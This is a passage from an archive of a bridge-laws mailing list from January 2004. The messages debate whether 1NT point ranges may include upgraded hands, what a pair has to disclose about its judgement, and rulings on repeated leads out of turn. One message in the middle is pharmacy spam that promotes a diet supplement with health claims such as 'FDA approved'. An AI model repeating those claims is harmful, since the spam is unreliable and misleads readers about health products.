three 10s). If they do not have a fixed algorithm, then I can't see how they can tell you. >(4) If your opponent takes a literal view of the rules and knows > that the EBU Orange book *defines* HCP as A=4 K=3 Q=2 J=1, > then he may well feel insulted by your cross-examination. > Are you accusing him of lying? or claiming he can't count? > Neither. You just ask him whether they stick rigidly to the HCP count or not. I think your problem is that you're not asking the right questions. Brian. From blml@wellsborocomputing.com Sat Jan 10 19:59:05 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 10 Jan 2004 14:59:05 -0500 Subject: [blml] Judgement In-Reply-To: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> Message-ID: <4pl000t7vdg9k6poopo9gnf97s7k6km3qm@4ax.com> On Sat, 10 Jan 2004 18:24:46 -0000, Nigel Guthrie wrote: > >{Nigel] >Brian Meadows, Tim West-Meads et al make similar suggestions. >It seems a fair point, but IMO it has an obvious flaw. Please >bear with me while I argue it through for my own benefit... > Point five first as requested. >(5) Already, by cross-examining opponents about HCP, you may > have tipped your hand to opponents. If you persist in > asking specifically whether the notrump opener can have 11 > HCP, opponents will probably face a double-dummy problem. > Quite possibly. But then I have two questions for you. 1) Why is this different to asking any other question? 2) Do you realise that it may be that people who hold the opposite view to you consider this to be the lesser of two evils? >(1) Opponents card describes their 1N as "12-14" but you > need to know whether it includes good 11s; (or poor 15s; > or neither; or both) > This information *should* be on the CC. Maybe the powers that be should consider adding an item to the CC: Rigid HCP counts: Yes.... No..... (check one). >(2) You ask opponents about their notrump range. Experienced > players know the likely reasons for your question but > still they stone-wall "12-14." > You already know their NT range from the CC. Your question should be whether they stick strictly to their advertised range. >(3) If you call a TD like Ton Kooijman or David Stevenson it > seems that they will tell you that opponents have no need > to tell you the basis of their "judgement". > If opponents have a fixed algorithm for deciding whether to promote an 11 count or not, you should be entitled to that information (e.g. we only promote hands that contain three 10s). If they do not have a fixed algorithm, then I can't see how they can tell you. >(4) If your opponent takes a literal view of the rules and knows > that the EBU Orange book *defines* HCP as A=4 K=3 Q=2 J=1, > then he may well feel insulted by your cross-examination. > Are you accusing him of lying? or claiming he can't count? > Neither. You just ask him whether they stick rigidly to the HCP count or not. I think your problem is that you're not asking the right questions. Brian. From wayne.burrows@xtra.co.nz Sat Jan 10 20:01:27 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 11 Jan 2004 09:01:27 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <000001c3d7b4$88f182c0$1ee536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Tim West-Meads > Sent: Sunday, 11 January 2004 2:25 a.m. > To: blml@rtflb.org > Subject: RE: [blml] Range restrictions > > > Wayne wrote: > > > > >If the regulation says 12-14 hcp are required for 1NT and if > > > >you argue that some hand with only 11 hcp is worth 12 hcp and > > > >are allowed to upgrade that hand then I must be a allowed to > > > >exercise a different judgement and upgrade a different hand. > > > > > > "must"??? > > > > > > > Yes "must". If the regulation states 12 is the minimum and > someone's > > judgement of an 11 is allowed then everyone's judgement of > an 11 *must* > > be allowed. > > If one person's judgement of a non-suggested LA is allowed then every > person's judgement of a non-suggested LA is allowed? Of > course that is > just garbage. A number of people consider the judgment and > allow/disallow > based on a consensus of what is reasonable. If someone judges a > particular 11 count to be worth 12 you ask why, hear their > reasons and > then accept/dismiss them in exactly the same way as you > consider an LA. > > If you tell me your pard's slow double didn't suggest pulling > I will tell > you if I think your reasoning is flawed. If you tell me > QJx,QJx,QJx,Q8xx > is worth upgrading because of the 8 I will tell you the same thing. > > Tim IMO UI and LA is entirely a different situation to following a regulation about opening bids. Wayne > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From j.rickard@bristol.ac.uk Sat Jan 10 21:02:19 2004 From: j.rickard@bristol.ac.uk (Jeremy Rickard) Date: 10 Jan 2004 21:02:19 +0000 Subject: [blml] Judgement In-Reply-To: Brian Meadows's message of "Sat, 10 Jan 2004 06:02:05 -0500" References: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> <67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j> Message-ID: Brian Meadows writes: > On Sat, 10 Jan 2004 09:21:10 -0000, Grattan wrote: > > >> > >> Personally I'm very happy to mark my CC (if playing 12-14) as > >> "excellent 11 - poor 15", **if only my NCBO will allow it**. > >> Which means that they provide sufficient space on the CC or allow > >> me to use additional notes, of course. > >> > >+=+ ? "12(11) - 14(15)" +=+ > > > > That's certainly one option, Grattan, but I think we could do > better. > > Opps are entitled to some idea of how many hands you promote. > Maybe (as has been suggested here) something like 11.9 - 14.5, or > maybe 11++ - 15- to reflect those who promote relatively few > hands, or correspondingly 11.5 - 14.5 or 11+ - 15- for those who > promote a lot of hands. People who promote more hands often also demote more hands. They don't overbid, they are just better at hand evaluation (or think they are). Maybe "(11)12(13) - (13)14(15)" or "(11++)12(13-) - (13+++)14(15--)"? :-) Jeremy. -- Jeremy Rickard Email: j.rickard@bristol.ac.uk WWW: http://www.maths.bris.ac.uk/~pure/staff/majcr/ From j.rickard@bristol.ac.uk Sat Jan 10 20:55:06 2004 From: j.rickard@bristol.ac.uk (Jeremy Rickard) Date: 10 Jan 2004 20:55:06 +0000 Subject: [blml] Range restrictions In-Reply-To: "Nigel Guthrie"'s message of "Mon, 5 Jan 2004 13:31:27 -0000" References: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> <011501c3d390$39a6f420$2a9468d5@tinyhrieuyik> Message-ID: Apologies for this rather belated reply. I've been away for a couple of weeks and have only just got around to enjoying the large number of BLML postings that have accumulated in my absence. Apologies also if I repeat points made by other people that I may have missed. "Nigel Guthrie" writes: > (4) Bridge is a *game*. A game is its *rules*. To > waffle about superior *judgement* is mealy-mouthed > prevarication. In an earlier email, David Burn hit > the nail on the head: If you follow David > Stevenson's advice, what's to stop you "judging" > that eights are worth two points each. If a TD > points out that this is ridiculous, you can remind him > that such judgements are subjective and that today's > orthodoxy is yesterday's heterodoxy. > > (5) If you really are allowed to temper the EBU Orange > Book dictates with your own "judgments", then this > fact should be publicised; because currently there > are still a few masochistic players who handicap > themselves by slavishly following the regulations, > as written. I agree. I think it's a red herring to complain that rigidly enforced objective regulations about (for instance) minimum opening bids are wrong because they stop you "playing bridge" and using judgement. A rigidly enforced "Rule of 19" does not stop you using judgement unless your personal borderline for an opening bid has some "Rule of 18" hands above it. There is nothing to stop you making your personal borderline high enough that all "Rule of 18" hands lie below it (in which case many -- probably most -- "Rule of 19" hands will also lie below it), so that you can exercise your judgement to your heart's content about whether hands are worth an opening bid, without ever having to break the "Rule of 19". Whatever objective regulation is chosen, you will always be able to come up with a hand below the borderline that (at least some) reasonable people will regard as stronger than some hands above the borderline. Reasonable people disagree about hand evaluation. If you enforce an objective regulation, then you have the choice of making it simple, in which case you will either allow some hands that are "obviously not" opening bids or forbid some hands that are "obviously" opening bids, or of making it more accurate but complicated, so that nobody will regard any "forbidden" hand as *significantly* better than any "permitted" hand. I feel uncomfortable with having an objective rule (the Rule of 19, say) and allowing judgement in the sense that the TD will allow an opening bid if the bidder can convince him that he really judged the hand to be "worth 19". It doesn't seem right to me to have a regulation that forbids one partnership from opening a particular hand, but allows another partnership to, just because their hand evaluation is worse/different/better. This should not be taken to indicate my approval (or otherwise) of any particular regulation. > (6) (For some reason this next point seems to be > controversial). When asked to specify strength in > HCP, you shouldn't adjust for honour placement, > shape, texture and so on. For instance, if, in > practice, your notrump range is a good 14 to a > poor 18, then that is how you should describe it. > Not, for example, "15-17". Of course, you should > *qualify* your answer with any other requirements. > Full disclosure is especially important during the > play because the usual incomplete or inaccurate > explanation often leads the defence astray. I disagree. However, I'm really not trying to mislead my opponents, and I don't believe that I am misleading them. If I believed that when I described my 1NT opening bid as "15-17", my opponents would interpret this as meaning that it includes *all* hands (of the appropriate shape) with 15-17 Milton Work HCP and *no* hands with 14 or 18, then I wouldn't describe it like this. But, at least at a reasonable level of play, I just don't believe that this is what they think. Even quite weak players realize that HCP are not everything and will upgrade or downgrade an occasional hand ("I had three tens and a five-card suit"). A simple description of a NT range as "15-17" is so widespread, and an agreement to deliberately bid more strongly with hands you regard as weaker (very bad 15-counts) than with hands you regard as stronger (very good 14-counts) is so bizarre and illogical that I just can't believe that any reasonable player would interpret that description to mean that agreement. Of course, if taken literally, my "15-17" description is inaccurate. But there are many situations where we use, without any intent to deceive or expectation that we will deceive, an imprecise shorthand to express something that would be unwieldy if we said it in full ("A balanced hand that I evaluate to be closer in strength to an average balanced 15-count than to an average balanced 14-count, and closer to an average balanced 17-count than to an average balanced 18-count, [... snip lengthy discussion of the factors I take into account in evaluating hands, together with the weight I give them ...].") Not only do I think that this shorthand is sufficiently widespread that it will be understood (at a reasonable level of play), it is also efficient: it wastes far less time for the 2% of players who rigidly adhere to HCP to say so than for the other 98% to go through a lengthy disclaimer every time they describe the strength of a bid. I don't want to describe my NT opening as "15- to 17+" or "15(14) to 17(18)", because I think this *is* misleading. It suggests that I will much more often upgrade 14-counts than I will downgrade 15-counts, and this is not true. My range is not *wider* than a rigidly interpreted "15-17", it just has (I hope) more accurate boundaries. Jeremy. -- Jeremy Rickard Email: j.rickard@bristol.ac.uk WWW: http://www.maths.bris.ac.uk/~pure/staff/majcr/ From nigel.guthrie@ntlworld.com Sun Jan 11 00:43:20 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 11 Jan 2004 00:43:20 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> <6.0.1.1.1.20040110140553.01b79c40@postoffice.worldnet.att.net> Message-ID: <015d01c3d7dc$e9d2f740$919868d5@tinyhrieuyik> [Todd M Zimnoch] > So, if he's not saying that 5H and 5N are no > longer LAs because partner has hesitated, then he > must be saying something about 6D that makes no > sense to me even after consideration. At my best > guess, he's implying that 6D is a more desirable > bid because partner has hesitated. If that's the case, > would 6D be allowed? [Nigel] I predicated my answer on the absence of UI. In the case under discussion, I said that 6D, 5H, 6S and pass are all LAs (my choice among them being 6D) I explained that its a good idea to make a waiting bid if you think that partner's bid may be forcing but you don't fully understand what partner is up to. For some strange reason, you seem to imagine that such a bid is unethical! And suggested that I call the TD on myself! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From nigel.guthrie@ntlworld.com Sun Jan 11 01:33:03 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 11 Jan 2004 01:33:03 -0000 Subject: [blml] Judgement References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> <4pl000t7vdg9k6poopo9gnf97s7k6km3qm@4ax.com> Message-ID: <018c01c3d7e2$dc3753a0$919868d5@tinyhrieuyik> [Brian Meadows] > Quite possibly. But then I have two questions for you. > 1) Why is this different to asking any other question? > 2) Do you realise that it may be that people who hold > the opposite view to you consider this to be the > lesser of two evils? [Nigel] 1) In other cases, the onus on opponents is to fully disclose their understandings and they will usually do so if an opponent peruses their CC and then asks a follow-up question. In general, I don't need to explain the problem that I face or divulge specific information about my hand. I this case, I have already perused opponent's CC and asked them what I need to know. Experienced opponents know what I want to know and they have refused to divulge it. If I am a defender, more specific questions may give UI to partner, who may then be inhibited from co-operating in the indicated defence. If I am declarer, then the revelations about my hand may enable defenders to play double-dummy. Finally, if we feel damaged and call a TD who agrees with Ton to our table, we know what redress to expect. Those are some salient differences. I will answer your other question in a separate email. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From toddz@att.net Sun Jan 11 02:15:28 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Sat, 10 Jan 2004 21:15:28 -0500 Subject: [blml] Everybody run, the homecoming queen's got a gun In-Reply-To: <015d01c3d7dc$e9d2f740$919868d5@tinyhrieuyik> References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> <6.0.1.1.1.20040110140553.01b79c40@postoffice.worldnet.att.net> <015d01c3d7dc$e9d2f740$919868d5@tinyhrieuyik> Message-ID: <6.0.1.1.1.20040110203626.01b03d58@postoffice.worldnet.att.net> At 07:43 PM 1/10/2004, Nigel Guthrie wrote: >I explained that its a good idea to make a waiting bid >if you think that partner's bid may be forcing but you >don't fully understand what partner is up to. If there is a sincere partnership misunderstanding, I agree, but we're talking about UI. If you have uncertainty, your options will be restricted if the UI suggests whether or not partner's previous bid was forcing. >For some >strange reason, you seem to imagine that such a bid is >unethical! Because it can be. You are expected to choose the least suggested of all logical alternatives. Catering to as many possibilities as you can could be a step in the wrong direction. >And suggested that I call the TD on myself! I still don't know why people cringe at that thought. You've never called the TD for your own lead out of turn, bid out of turn, or revoke? If I cannot tell which is the least suggested of all LAs, I have no qualms about calling the director myself. -Todd From nigel.guthrie@ntlworld.com Sun Jan 11 03:44:45 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 11 Jan 2004 03:44:45 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> <6.0.1.1.1.20040110140553.01b79c40@postoffice.worldnet.att.net> <015d01c3d7dc$e9d2f740$919868d5@tinyhrieuyik> <6.0.1.1.1.20040110203626.01b03d58@postoffice.worldnet.att.net> Message-ID: <004001c3d7f5$425916c0$069868d5@tinyhrieuyik> [Todd M Zimnoch] > If there is a sincere partnership misunderstanding, > I agree, but we're talking about UI. [Nigel] (: For the fourth time:) I was answering Richard's original question about LAs. At that stage no mention was made of UI. I deemed 6D to be the best of four logical alternatives. So your recommendation that I call the TD on myself seems bizarre. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From yearscornful@dwp.net Sun Jan 11 09:30:58 2004 From: yearscornful@dwp.net (Svenr) Date: Sun, 11 Jan 2004 10:30:58 +0100 Subject: [blml] Modern way of losing vitally we;ght natural drown Message-ID: Hello Bellovin, At last you have an opportunity to purchase good directly from manufactures. You save your money purchasing quality products from our plant's store. Today we present you FatBlast product. What is FatBlast actually? Fatblast is an advanced fat-binding supplement that removes fat from the foods you eat! Formulated with the powerful fat-binding fiber Chitosan, the proprietary blend of all-natural compounds... Our corporation was the first one who started selling this product on the web in the year 2004. Try our FDA approved product tday pacer Read about our dscounts and special bonses: http://www.securemedsite.com/fly/index.php?pid=pharmaboss highwayman whaling beribboned cemented, juggling Moonlike expense vagina Epicurizes mettle candied hearing clause Steen humidity fitting Gandhi. From blml@wellsborocomputing.com Sun Jan 11 11:45:59 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 11 Jan 2004 06:45:59 -0500 Subject: [blml] Judgement In-Reply-To: <019701c3d7e6$a4ac21a0$919868d5@tinyhrieuyik> References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> <4pl000t7vdg9k6poopo9gnf97s7k6km3qm@4ax.com> <019701c3d7e6$a4ac21a0$919868d5@tinyhrieuyik> Message-ID: On Sun, 11 Jan 2004 02:00:08 -0000, Nigel Guthrie wrote: > >[Nigel] >Yes. I am worried that so many secretary birds hold us >walruses in such low esteem. We wonder why those wise >birds regard truthful disclosure as in any way "evil". > It's at best disingenuous to try to confuse incomplete disclosure with a regulation requiring strict application of the Work count. If you've seen anyone say that they would refuse to answer a question about whether they applied the Work count with mathematical precision or not, please tell me. I must have missed their posting. Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From t.kooyman@worldonline.nl Sun Jan 11 09:58:54 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 11 Jan 2004 10:58:54 +0100 Subject: [blml] Judgement References: <007801c3d6e1$b49d4fe0$5d9868d5@tinyhrieuyik> Message-ID: <004101c3d839$f7c76040$9682b6d4@LNV> Nigel: > A Walrus may quibble that their judgement is flawed; > but it hardly matters, because, according to David and > Ton, they are under no legal obligation to divulge > to their opponents, the fine details of the judgement > methods on which they base their evaluation. Especially > as these exceptional hands arise so rarely. I must have written things I wasn't aware of to make it possible for you to react as you do. I thought it was me who introduced the concept of fine details where the big majority seems to think that players should be enforced to apply a first class basic school approach of the numbers 11 and 12. I'll try it for the last time. No opponent should be pleased when my explanation of the 1NT opening is: 12 - 14 but once in a year my tens and nines are so powerful that I can open 1NT with only A,A and K. Either he is a bridgeplayer and shameful admits that he should have told me the same or he will misplay the hand thinking his partner to have the missing J and accusing me of trying to confuse him with misleading information. I rest my case, there is an impregnable wall between us. ton From twm@cix.co.uk Sun Jan 11 12:07:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Sun, 11 Jan 2004 12:07 +0000 (GMT Standard Time) Subject: [blml] Range restrictions In-Reply-To: <000001c3d7b4$88f182c0$1ee536d2@Desktop> Message-ID: Wayne wrote: > IMO UI and LA is entirely a different situation to following a > regulation about opening bids. That would, surely, depend on how a regulation relating to using judgement in the context of opening bids was written. If the regulation says "70% of the players peers would consider the upgrading reasonable" the difference is pretty minimal. Tim From nigel.guthrie@ntlworld.com Sun Jan 11 15:02:21 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 11 Jan 2004 15:02:21 -0000 Subject: [blml] Judgement References: <007801c3d6e1$b49d4fe0$5d9868d5@tinyhrieuyik> <004101c3d839$f7c76040$9682b6d4@LNV> Message-ID: <008b01c3d853$fe1ceea0$949868d5@tinyhrieuyik> [Ton Kooijman] > I must have written things I wasn't aware of to make > it possible for you to react as you do. I thought > it was me who introduced the concept of fine details > where the big majority seems to think that players > should be enforced to apply a first class basic school > approach of the numbers 11 and 12. I'll try it for > the last time. No opponent should be pleased when my > explanation of the 1NT opening is: 12 - 14 but once > in a year my tens and nines are so powerful that I > can open 1NT with only A,A and K. Either he is a > bridgeplayer and shameful admits that he should have > told me the same or he will misplay the hand thinking > his partner to have the missing J and accusing me of > trying to confuse him with misleading information. > I rest my case, there is an impregnable wall between > us. [Nigel] I hope there is no impregnable wall between us. IMO, Ton believes that we are having an academic argument about how many angels dance on a pinhead, whereas I regard the issue as serious and practical. Often we suffer from misplays or misdefences because an opponent's actual hand differs from his partner's description of it. On some of these we later discover that the description of the partnership agreement is incomplete; and in most of the latter, the excuse is that any exception is "obvious". For instance, to some 12-14 notrumpers, it's "obvious" to upgrade some good 11 counts. To some, the lower limit is sacrosanct but it's "obvious" to downgrade some poor 15 counts; to some it's "obvious" to both downgrade and to upgrade; to some it's "obvious" that it depends on vulnerability and position at the table. Lastly, to walruses like myself (abnormal bridge-players, according to Ton) it seems obvious to divulge the truth. A couple more "obvious" (:?:) points... (1) Ton quotes the specific exception AT98 AT98 KT9 T9 But once you have made an exception, where do you draw the line? How should a TD rule, if a pair state that their notrump range is "12-14" but have agreed to open 1N on some or all of the following... (a) AT97 AT98 KT9 T9 (b) AT82 AT82 KT2 T4 (c) AT32 AT32 KT2 T2 (d) A987 A987 K98 98 (e) KT9 AT T98 AT987 (f) KT2 AT 963 AT873 (g) AT JT987 AT9 QT9 (h) A2 J9832 A92 QT6 (i) A2 QJ2 T2 A97543 (j) AT KT KT T987652 and so on? We may have our own opinions but would any two or us agree? (2) By way of justification, Ton says he would not open a 12-14 notrump on QJ2 QJ2 QJ3 K432 but I feel that stating a HCP range does not imply that you must open 1N on all hands within the range. For example, I would not open a 12-14 1N on a 13 count with two voids. IMO, you should tell the truth about HCP but *also* try to divulge other requirements and exceptions to opponents. I have enjoyed the argument but I rest my case after quoting some of what I am sure that Ton is fully aware of writing... > [Ton Kooijman] > Let us first try to define what 'unannounced implicit > understanding' means. To me the combination of > unannounced and implicit is dubious, but I think it > means that bridge judgement is involved. We have a word > in Dutch which is 'puntenkul' and probably the German > people have something similar. In English something > like points rot comes close, I assume. I don't know who > wrote it some days ago but I agree with the statement > that an NBO telling that a 1NT opening with > AT98 AT98 KT9 T9 is not allowed when such opening by > agreement shows 12-14 points, doesn't know what it is > doing. Such NBO should also punish a player not opening > 1NT with QJ2 QJ2 QJ3 K432, using the same 'unannounced > implicit understanding'. To me such regulation is as > 'proper' as saying that the spade ace can't be played in > the first two tricks. > [Ton Kooijman] > I am saying that this holding is worth opening if you > have tried to describe your opening agreements with the > very poor but still adequate description: 1NT 12-14. > Every opponent and every partner should be very surprised > if you don't open it. Could be a reason for redress (ha). > [Ton Kooijman] > A pair opens 1NT with the cards as given above. Normal > bridge players wouldn't dare to call a TD for it, but > apparently we have a couple. When questioned the player > will say: 'I considered my cards as falling in the > range which is described on my card'. So he is not trying > to say that he deviated from the agreement, no this call > is part of the agreement. Now it is the job of the TD to > judge this case. And my advice to all TD's in the world > is to concur with this evaluation and to explain to the > other side that they must be misled by rumours based on > 'puntenkul'. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From Laval_Dubreuil@uqss.uquebec.ca Sun Jan 11 17:11:03 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Sun, 11 Jan 2004 12:11:03 -0500 Subject: TR: [blml] 2 out of turn opening leads Message-ID: On Friday, Jan 9, 2004, at 16:06 US/Eastern, Laval Dubreuil wrote: > My only question was : "What about CA ?" Back on table, 2 penalty cards > and 5 more options (as David pointed out). I don't see where you get 2 penalty cards. Certainly David did not say you do. You have ruled regarding the first OLOOT. As a result of that ruling CA goes back in East's hand. The fact that he led out of turn *again* has no effect on the first ruling. HQ may end up a major penalty card, but the CA, it seems to me, stays in East's hand (and its presence there is UI to West). __________________________________________________________________________ This is what I ruled (CA stay in hand, but you have new options). Afterward, I was not sure I if should have put back CA on table and give 10 options to declarer, taking CA and HQ into account. Laval Du Breuil From Laval_Dubreuil@uqss.uquebec.ca Sun Jan 11 17:09:58 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Sun, 11 Jan 2004 12:09:58 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: <8EBA1B19-42F0-11D8-94A4-0030656F6826@rochester.rr.com> Message-ID: On Friday, Jan 9, 2004, at 16:06 US/Eastern, Laval Dubreuil wrote: > My only question was : "What about CA ?" Back on table, 2 penalty cards > and 5 more options (as David pointed out). I don't see where you get 2 penalty cards. Certainly David did not say you do. You have ruled regarding the first OLOOT. As a result of that ruling CA goes back in East's hand. The fact that he led out of turn *again* has no effect on the first ruling. HQ may end up a major penalty card, but the CA, it seems to me, stays in East's hand (and its presence there is UI to West). __________________________________________________________________________ This is what I ruled (CA stay in hand, but you have new options). Afterward, I was not sure I if should have put back CA on table and give 10 options to declarer, taking CA and HQ into account. Laval Du Breuil From nigel.guthrie@ntlworld.com Sun Jan 11 18:33:49 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 11 Jan 2004 18:33:49 -0000 Subject: [blml] Judgement Message-ID: <037c01c3d871$885ce800$949868d5@tinyhrieuyik> [Brian Meadows] > 2) Do you realise that it may be that people who hold > the opposite view to you consider this to be the > lesser of two evils? [Nigel reply sent by mistake to Brian only] Yes. Walruses worry that so many secretary birds hold us in such low esteem. We wonder why those wise birds regard truthful disclosure as in any way "evil". We walruses are dimly aware that HCP range is an incomplete description. Thus, even if we agree an 11-15 range, we don't open 1N on some 13 counts, for example AKQJxxx QTxxxx - - Nevertheless, in our naive way we would accurately describe the HCP range as 11-15 (or whatever the truth is); and *also* describe exceptions and requirements (shape, texture, honour quality, and placement). For instance, "1NT denies a seven card suit, a singleton or a void. An 11 count will have excellent honours and texture and won't be 4333. A 15 count will be 4333 or have poor quality honours or honours in short suits." We'd indicate that such a description is incomplete and in response to a *general question* we'd try to divulge other relevant refinements that we've agreed. When choosing from what might be relevant, we would focus our answer on what appeared to be the questioner's concern. If he appeared to be interested in HCP, especially if he had asked about "HCP", then we would include information about HCP in our answer. The Walrus would not regard such an explanation as "evil" even if it would stick in the Secretary Bird's craw. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From john@asimere.com Sun Jan 11 19:24:46 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 11 Jan 2004 19:24:46 +0000 Subject: [blml] I broke L7B1. In-Reply-To: <3FE16663.3060007@hdw.be> References: <3FE16663.3060007@hdw.be> Message-ID: In article <3FE16663.3060007@hdw.be>, Herman De Wael writes >Yesterday evening, first deal. > >My LHO opens 1Cl, after which my partner puts a bidding card on the >table, says "ooops" and puts it back. > >"What happened?" I ask. > >"I didn't see the opening bid." > >"OK, but I did not see what you bid, so there should be no problem". > >"It was also 1Club!" she says. > >So I tell the table the laws, including that I must now pass throughout. > >The bidding becomes: 1Cl-3NT-pass-(pass)-Dble-pass-pass-(pass). > >Meanwhile, I still haven't seen my cards, and now I put down dummy one >by one, sorting them as they go. They include six hearts to QJ so we >score +650 as opposed to +450 (4H+1) round the room. > >Would you fine me for passing (twice) without having looked at my >card, in direct contravention of L7B1? Whilst the Law requires you to inspect the face of your cards before making a call (7B1), it also provides that your LHO can call on the basis that you *will have* passed (28A). So you could argue that you never *did* make a call :) john > -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Sun Jan 11 19:37:26 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 11 Jan 2004 19:37:26 +0000 Subject: [blml] Range restrictions In-Reply-To: <001001c3d6e0$69085d00$d22d37d2@Desktop> References: <009701c3d69f$580f7ce0$d980b6d4@LNV> <001001c3d6e0$69085d00$d22d37d2@Desktop> Message-ID: In article <001001c3d6e0$69085d00$d22d37d2@Desktop>, Wayne Burrows writes > > >> -----Original Message----- >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On >> Behalf Of Ton Kooijman >> Sent: Friday, 9 January 2004 10:57 p.m. >> To: Ton Kooijman; 'blml' >> Subject: Re: [blml] Range restrictions >> >> >> > > However there is nothing in the regulations nor should there be >> > > that favours good judgement over poor judgement. >> >> >> > Once again I don't understand what you want to say. >> > Every detail in bridge favours good judgement above poor. >> > To phrase Grattan: such statement is an unannounced >> implicit agreement in >> > regulations and in the laws themselves. >> > Of course you are allowed to use your own judgement, but >> the decision to >> > continue bidding after a hesitation by partner will be >> judged by the TD. >> And >> > good judgement will hold and poor will loose. >> > >> > ton > >If the regulation says 12-14 hcp are required for 1NT and if >you argue that some hand with only 11 hcp is worth 12 hcp and >are allowed to upgrade that hand then I must be a allowed to >exercise a different judgement and upgrade a different hand. ... and if that is mainstream thinking it will be accepted. ... john > >Wayne > >> >> >> >> > > Therefore if you believe that you judge hand A is better >> than hand B >> > > and I believe that hand B is better than hand A. We both >> should be >> > > allowed to exercise our own judgement. >> > > >> > > >> > > Wayne >> > >> >> >> >> _______________________________________________ >> blml mailing list >> blml@rtflb.org >> http://www.amsterdamned.org/mailman/listinfo/blml >> > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Sun Jan 11 19:45:08 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 11 Jan 2004 19:45:08 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: <9nd+FLDEfaAAFw$P@asimere.com> In article , Laval Dubreuil writes >Hi Blmrs, > >Yesterday in my club: > >South is dealer but East lead (face up) with CA. >Routine: dealer asked West "no Club lead" and CA returned in hand. > >Before West selected his card, Est made an other OTOL with HQ.... so we have another penalty card. Accept the lead, (but no choices as to dummy as that has already been exercised IMO). Or usual 3 options for his partner, and on top of that the "No club" still stands. > >HQ becomes a major penalty card but ? > >1) Give declarer new options right now (forbid or require H lead). > What about CA if declarer change his mind? > >2) Let the first choice stand (no club lead) and applies Law 51 > from there. CA remains in hand, HQ is on table as major penalty > card. > >Laval Du Breuil >Quebec City > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Sun Jan 11 19:53:01 2004 From: john@asimere.com (John (MadDog) Probst) Date: Sun, 11 Jan 2004 19:53:01 +0000 Subject: [blml] Judgement In-Reply-To: <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j> References: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> 